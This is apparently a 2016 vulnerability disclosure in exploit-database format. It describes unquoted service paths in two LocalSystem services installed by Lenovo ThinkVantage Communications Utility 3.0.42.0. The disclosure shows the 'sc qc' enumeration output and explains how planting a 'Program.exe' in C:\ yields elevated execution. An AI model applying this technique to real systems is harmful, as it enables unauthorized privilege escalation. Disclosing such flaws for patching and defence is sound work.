Lenovo ThinkVantage Communications Utility 3.0.42.0 Privilege Escalation

`# Exploit Title: Lenovo ThinkVantage Communications Utility - Unquoted Service Path Privilege Escalation  
# Date: 10/19/2016  
# Exploit Author: Joey Lane  
# Version: 3.0.42.0  
# Tested on: Windows 7 Professional  
  
The Lenovo ThinkVantage Communications Utility installs 2 services with unquoted  
service paths. This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path  
of either service. Rebooting the system or restarting either service will run the malicious  
executable with elevated privileges.  
  
  
This was tested on version 3.0.42.0, but other versions may be affected as well.  
  
  
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C:\>sc qc LENOVO.CAMMUTE   
[SC] QueryServiceConfig SUCCESS   
  
SERVICE_NAME: LENOVO.CAMMUTE   
TYPE : 10 WIN32_OWN_PROCESS   
START_TYPE : 2 AUTO_START   
ERROR_CONTROL : 0 IGNORE   
BINARY_PATH_NAME : C:\Program Files\Lenovo\Communications Utility\CAMMUTE.exe   
LOAD_ORDER_GROUP :   
TAG : 0   
DISPLAY_NAME : Lenovo Camera Mute   
DEPENDENCIES :   
SERVICE_START_NAME : LocalSystem  
  
  
C:\>sc qc LENOVO.TPKNRSVC   
[SC] QueryServiceConfig SUCCESS   
  
SERVICE_NAME: LENOVO.TPKNRSVC   
TYPE : 10 WIN32_OWN_PROCESS   
START_TYPE : 2 AUTO_START   
ERROR_CONTROL : 0 IGNORE   
BINARY_PATH_NAME : C:\Program Files\Lenovo\Communications Utility\TPKNRSVC.exe   
LOAD_ORDER_GROUP :   
TAG : 0   
DISPLAY_NAME : Lenovo Keyboard Noise Reduction   
DEPENDENCIES :   
SERVICE_START_NAME : LocalSystem  
  
---------------------------------------------------------------------------  
  
  
EXAMPLE:  
  
Using the BINARY_PATH_NAME listed above as an example, an executable named  
"Program.exe" could be placed in "C:\", and it would be executed as the  
Local System user next time the service was restarted.  
  
  
  
`